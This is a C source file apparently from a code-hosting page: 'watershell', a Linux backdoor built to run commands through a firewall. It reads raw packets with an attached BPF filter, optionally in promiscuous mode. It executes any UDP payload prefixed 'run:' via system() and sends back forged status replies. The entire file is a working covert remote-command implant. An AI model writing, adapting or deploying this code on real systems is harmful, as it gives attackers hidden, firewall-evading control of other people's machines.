276 lines
8.0 KiB
C
Executable File
276 lines
8.0 KiB
C
Executable File
/*
|
|
* =====================================================================================
|
|
*
|
|
* Filename: watershell.c
|
|
*
|
|
* Description: run commands through a firewall... yeeaaa
|
|
*
|
|
* Version: 1.0
|
|
* Created: 07/01/2015 09:10:41 AM
|
|
* Revision: none
|
|
* Compiler: gcc
|
|
*
|
|
* Author: Jaime Geiger, jmg2967@rit.edu
|
|
*
|
|
* =====================================================================================
|
|
*/
|
|
|
|
#include <net/if.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <netinet/in.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
#include <netdb.h>
|
|
#include <unistd.h>
|
|
#include <sys/ioctl.h>
|
|
#include <string.h>
|
|
#include <arpa/inet.h>
|
|
#include <linux/if_ether.h>
|
|
#include <linux/if_packet.h>
|
|
#include <linux/filter.h>
|
|
#include <netinet/ip.h>
|
|
#include <netinet/udp.h>
|
|
#include <signal.h>
|
|
#include <stdbool.h>
|
|
|
|
#define IFACE "eth0"
|
|
#define PORT 12345
|
|
#define PROMISC false
|
|
|
|
struct sock_filter bpf_code[] = {
|
|
{ 0x28, 0, 0, 0x0000000c },
|
|
{ 0x15, 0, 6, 0x000086dd },
|
|
{ 0x30, 0, 0, 0x00000014 },
|
|
{ 0x15, 0, 15, 0x00000011 },
|
|
{ 0x28, 0, 0, 0x00000036 },
|
|
{ 0x15, 12, 0, 0x00003039 }, //5
|
|
{ 0x28, 0, 0, 0x00000038 },
|
|
{ 0x15, 10, 11, 0x00003039 }, //7
|
|
{ 0x15, 0, 10, 0x00000800 },
|
|
{ 0x30, 0, 0, 0x00000017 },
|
|
{ 0x15, 0, 8, 0x00000011 },
|
|
{ 0x28, 0, 0, 0x00000014 },
|
|
{ 0x45, 6, 0, 0x00001fff },
|
|
{ 0xb1, 0, 0, 0x0000000e },
|
|
{ 0x48, 0, 0, 0x0000000e },
|
|
{ 0x15, 2, 0, 0x00003039 }, //15
|
|
{ 0x48, 0, 0, 0x00000010 },
|
|
{ 0x15, 0, 1, 0x00003039 }, //17
|
|
{ 0x6, 0, 0, 0x0000ffff },
|
|
{ 0x6, 0, 0, 0x00000000 },
|
|
};
|
|
|
|
void send_status(unsigned char *buf, int code);
|
|
void sigint(int signum);
|
|
void ip_checksum(struct iphdr *ip);
|
|
void udp_checksum(struct iphdr *ip, unsigned short *payload);
|
|
|
|
int sockfd;
|
|
struct ifreq *sifreq;
|
|
bool promisc;
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
int i, n, hlen, arg;
|
|
struct sock_fprog filter;
|
|
char buf[2048];
|
|
unsigned char *read;
|
|
char *udpdata, *iface = IFACE;
|
|
struct iphdr *ip;
|
|
struct udphdr *udp;
|
|
unsigned port = PORT;
|
|
int code = 0;
|
|
|
|
promisc = PROMISC;
|
|
|
|
while ((arg = getopt(argc, argv, "phi:l:")) != -1){
|
|
switch (arg){
|
|
case 'i':
|
|
iface = optarg;
|
|
break;
|
|
case 'p':
|
|
puts("Running in promisc mode");
|
|
promisc = true;
|
|
break;
|
|
case 'h':
|
|
fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]);
|
|
return 0;
|
|
break;
|
|
case 'l':
|
|
port += strtoul(optarg, NULL, 10);
|
|
if (port <= 0 || port > 65535){
|
|
puts("Invalid port");
|
|
return 1;
|
|
}
|
|
break;
|
|
case '?':
|
|
fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]);
|
|
return 1;
|
|
default:
|
|
abort();
|
|
}
|
|
}
|
|
|
|
bpf_code[5].k = port;
|
|
bpf_code[7].k = port;
|
|
bpf_code[15].k = port;
|
|
bpf_code[17].k = port;
|
|
|
|
sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
|
|
if (sockfd < 0){
|
|
perror("socket");
|
|
return 1;
|
|
}
|
|
|
|
sifreq = malloc(sizeof(struct ifreq));
|
|
signal(SIGINT, sigint);
|
|
strncpy(sifreq->ifr_name, iface, IFNAMSIZ);
|
|
if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){
|
|
perror("ioctl GIFFLAGS");
|
|
close(sockfd);
|
|
free(sifreq);
|
|
return 0;
|
|
}
|
|
|
|
if (promisc){
|
|
sifreq->ifr_flags |= IFF_PROMISC;
|
|
if (ioctl(sockfd, SIOCSIFFLAGS, sifreq) == -1){
|
|
perror("ioctl SIFFLAGS");
|
|
}
|
|
}
|
|
|
|
filter.len = 20;
|
|
filter.filter = bpf_code;
|
|
if (setsockopt(sockfd, SOL_SOCKET, SO_ATTACH_FILTER,
|
|
&filter, sizeof(filter)) < 0){
|
|
perror("setsockopt");
|
|
}
|
|
|
|
for (;;){
|
|
memset(buf, 0, 2048);
|
|
n = recvfrom(sockfd, buf, 2048, 0, NULL, NULL);
|
|
ip = (struct iphdr *)(buf + sizeof(struct ethhdr));
|
|
udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
|
|
udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
|
|
if (*udpdata != 0)
|
|
printf("%s\n", udpdata);
|
|
if (!strncmp(udpdata, "run:", 4))
|
|
code = system(udpdata + 4);
|
|
if(!strncmp(udpdata, "status", 6))
|
|
send_status(buf, code);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
void sigint(int signum){
|
|
if (promisc){
|
|
if (ioctl(sockfd, SIOCGIFFLAGS, sifreq) == -1){
|
|
perror("ioctl GIFFLAGS");
|
|
}
|
|
sifreq->ifr_flags ^= IFF_PROMISC;
|
|
if (ioctl(sockfd, SIOCSIFFLAGS, sifreq) == -1){
|
|
perror("ioctl SIFFLAGS");
|
|
}
|
|
}
|
|
free(sifreq);
|
|
close(sockfd);
|
|
exit(1);
|
|
}
|
|
|
|
struct __attribute__((__packed__)) udpframe {
|
|
struct ethhdr ehdr;
|
|
struct iphdr ip;
|
|
struct udphdr udp;
|
|
unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)];
|
|
};
|
|
|
|
void send_status(unsigned char *buf, int code){
|
|
struct udpframe frame;
|
|
struct sockaddr_ll saddrll;
|
|
struct sockaddr_in sin;
|
|
int len = snprintf(NULL, 0, "%d", code);
|
|
char *prefix = "LISTENING: ";
|
|
char *ccode = (char*)calloc(1, len+1);
|
|
char *data = calloc(1, strlen(prefix)+len+2);
|
|
snprintf(ccode, len+1, "%d", code);
|
|
strncpy(data, prefix, strlen(prefix));
|
|
strncat(data, ccode, len+1);
|
|
strncat(data, "\n", 1);
|
|
memset(&frame, 0, sizeof(frame));
|
|
if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
|
|
perror("GIFINDEX");
|
|
return;
|
|
}
|
|
saddrll.sll_family = PF_PACKET;
|
|
saddrll.sll_ifindex = sifreq->ifr_ifindex;
|
|
saddrll.sll_halen = ETH_ALEN;
|
|
memcpy((void*)saddrll.sll_addr, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN);
|
|
memcpy((void*)frame.ehdr.h_source, (void*)(((struct ethhdr*)buf)->h_dest), ETH_ALEN);
|
|
memcpy((void*)frame.ehdr.h_dest, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN);
|
|
frame.ehdr.h_proto = htons(ETH_P_IP);
|
|
frame.ip.version = 4;
|
|
frame.ip.ihl = sizeof(frame.ip)/4;
|
|
frame.ip.id = htons(69);
|
|
frame.ip.frag_off |= htons(IP_DF);
|
|
frame.ip.ttl = 64;
|
|
frame.ip.tos = 0;
|
|
frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + strlen(data));
|
|
frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
|
|
frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
|
|
frame.ip.protocol = IPPROTO_UDP;
|
|
frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
|
|
frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
|
|
frame.udp.len = htons(strlen(data) + sizeof(frame.udp));
|
|
//udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
|
|
ip_checksum(&frame.ip);
|
|
strncpy(frame.data, data, strlen(data));
|
|
len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(data);
|
|
sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
|
|
free(ccode);
|
|
free(data);
|
|
}
|
|
|
|
//broken?
|
|
void udp_checksum(struct iphdr *ip, unsigned short *payload){
|
|
register unsigned long sum = 0;
|
|
struct udphdr *udp = (struct udphdr*)payload;
|
|
unsigned short len = udp->len;
|
|
unsigned short *addr = (short*)ip;
|
|
udp->check = 0;
|
|
sum += (ip->daddr>>16) & 0xFFFF;
|
|
sum += (ip->daddr) & 0xFFFF;
|
|
sum += htons(IPPROTO_UDP);
|
|
sum += ntohs(udp->len);
|
|
while (len > 1){
|
|
sum += *addr++;
|
|
len -= 2;
|
|
}
|
|
if (len > 0)
|
|
sum += ((*addr) & htons(0xFFFF));
|
|
while (sum>>16)
|
|
sum = (sum & 0xFFFF) + (sum >>16);
|
|
sum = ~sum;
|
|
udp->check = ((unsigned short)sum == 0x0000) ? 0xFFFF : (unsigned short)sum;
|
|
}
|
|
|
|
|
|
void ip_checksum(struct iphdr *ip){
|
|
unsigned int count = ip->ihl<<2;
|
|
unsigned short *addr = (short*)ip;
|
|
register unsigned long sum = 0;
|
|
|
|
ip->check = 0;
|
|
while (count > 1){
|
|
sum += *addr++;
|
|
count -= 2;
|
|
}
|
|
if (count > 0)
|
|
sum += ((*addr) & htons(0xFFFF));
|
|
while (sum>>16)
|
|
sum = (sum & 0xFFFF) + (sum >>16);
|
|
sum = ~sum;
|
|
ip->check = (unsigned short)sum;
|
|
}
|